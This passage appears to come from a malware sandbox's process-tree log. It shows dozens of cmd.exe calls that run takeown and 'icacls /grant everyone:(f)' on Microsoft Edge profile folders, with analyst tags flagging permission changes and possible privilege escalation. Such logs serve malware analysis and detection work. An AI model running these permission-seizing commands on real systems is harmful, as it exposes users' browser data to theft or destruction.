  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kn && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kn /grant everyone:(f)
  2⤵
  PID:3736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kn
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ko && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ko /grant everyone:(f)
  2⤵
  PID:1056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ko
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lo && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lo /grant everyone:(f)
  2⤵
  PID:1208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lo
    3⤵
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lt && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lt /grant everyone:(f)
  2⤵
  PID:1752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lt
    3⤵
    - Modifies file permissions
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lv && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lv /grant everyone:(f)
  2⤵
  PID:2756
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lv
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ml && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ml /grant everyone:(f)
  2⤵
  PID:2444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ml
    3⤵
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mn && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mn /grant everyone:(f)
  2⤵
  PID:3152
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mn
    3⤵
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mr && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mr /grant everyone:(f)
  2⤵
  PID:3636
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mr
    3⤵
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ms && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ms /grant everyone:(f)
  2⤵
  PID:3936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ms
    3⤵
    PID:3516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\my && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\my /grant everyone:(f)
  2⤵
  PID:4616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\my
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ne && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ne /grant everyone:(f)
  2⤵
  PID:4056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ne
    3⤵
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\nl && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\nl /grant everyone:(f)
  2⤵
  PID:4620
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\nl
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\no && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\no /grant everyone:(f)
  2⤵
  PID:3860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\no
    3⤵
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pa && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pa /grant everyone:(f)
  2⤵
  PID:1780
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pa
    3⤵
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pl && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pl /grant everyone:(f)
  2⤵
  PID:2028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pl
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_BR && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_BR /grant everyone:(f)
  2⤵
  PID:1984
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_BR
    3⤵
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_PT && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_PT /grant everyone:(f)
  2⤵
  PID:1516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_PT
    3⤵
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ro && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ro /grant everyone:(f)
  2⤵
  PID:1356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ro
    3⤵
    PID:4704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ru && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ru /grant everyone:(f)
  2⤵
  PID:4052
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ru
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\si && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\si /grant everyone:(f)
  2⤵
  PID:3712
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\si
    3⤵
    PID:456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sk && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sk /grant everyone:(f)
  2⤵
  PID:1588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sk
    3⤵
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sl && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sl /grant everyone:(f)
  2⤵
  PID:3152
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sl
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sr && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sr /grant everyone:(f)
  2⤵
  PID:3144
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sr
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sv && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sv /grant everyone:(f)
  2⤵
  PID:3396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sv
    3⤵
    PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sw && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sw /grant everyone:(f)
  2⤵
  PID:4616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sw
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ta && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ta /grant everyone:(f)
  2⤵
  PID:4056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ta
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\te && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\te /grant everyone:(f)
  2⤵
  PID:1596
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\te
    3⤵
    - Possible privilege escalation attempt
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\th && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\th /grant everyone:(f)
  2⤵
  PID:4084
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\th
    3⤵
    PID:2920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\tr && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\tr /grant everyone:(f)
  2⤵
  PID:4000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\tr
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\uk && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\uk /grant everyone:(f)
  2⤵
  PID:3736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\uk
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ur && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ur /grant everyone:(f)
  2⤵
  PID:2396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ur
    3⤵
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\vi && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\vi /grant everyone:(f)
  2⤵
  PID:3952
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\vi
    3⤵
    PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_CN && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_CN /grant everyone:(f)
  2⤵
  PID:3024
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_CN
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_HK && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_HK /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_HK
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_TW && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_TW /grant everyone:(f)
  2⤵
  PID:1364
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_TW
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zu && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zu /grant everyone:(f)
  2⤵
  PID:1104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zu
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata /grant everyone:(f)
  2⤵
  PID:3152
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata
    3⤵
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker /grant everyone:(f)
  2⤵
  PID:2824
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB /grant everyone:(f)
  2⤵
  PID:2816
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB
    3⤵
    PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB /grant everyone:(f)
  2⤵
  PID:2180
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB
    3⤵
    - Modifies file permissions
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache /grant everyone:(f)
  2⤵
  PID:840
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache
    3⤵
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\JumpListIconsRecentWorkspacesV2 && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\JumpListIconsRecentWorkspacesV2 /grant everyone:(f)
  2⤵
  PID:4620
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\JumpListIconsRecentWorkspacesV2
    3⤵
    PID:4144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage /grant everyone:(f)
  2⤵
  PID:2640
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb /grant everyone:(f)
  2⤵
  PID:2608
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
